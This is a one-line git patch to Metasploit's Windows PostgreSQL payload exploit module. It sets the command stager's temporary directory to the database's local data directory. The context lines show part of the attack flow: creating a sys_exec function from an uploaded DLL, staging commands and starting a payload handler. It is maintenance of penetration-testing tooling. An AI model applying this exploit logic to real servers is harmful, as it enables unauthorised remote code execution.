From fa062b8f32da140ed42b2324e49ab300054ed6b5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 25 Mar 2011 19:42:36 +0000 Subject: [PATCH] Sets the cmd stager's temp directory to "." which makes all the writes go to the local data directory for postgresql. This avoids the slashes issue reported by troulouliou and keeps all the uploaded files in one place for somewhat easier cleanup. git-svn-id: file:///home/svn/framework3/trunk@12135 4d416f70-5f16-0410-b530-b9f4589650da --- modules/exploits/windows/postgres/postgres_payload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb index 9c45b54f09..39334b5b4e 100644 --- a/modules/exploits/windows/postgres/postgres_payload.rb +++ b/modules/exploits/windows/postgres/postgres_payload.rb @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote ret_sys_exec = postgres_create_sys_exec(dll) if ret_sys_exec if @postgres_conn - execute_cmdstager({:linemax => 1500, :nodelete => true}) + execute_cmdstager({:linemax => 1500, :nodelete => true, :temp=>"."}) handler postgres_logout if @postgres_conn else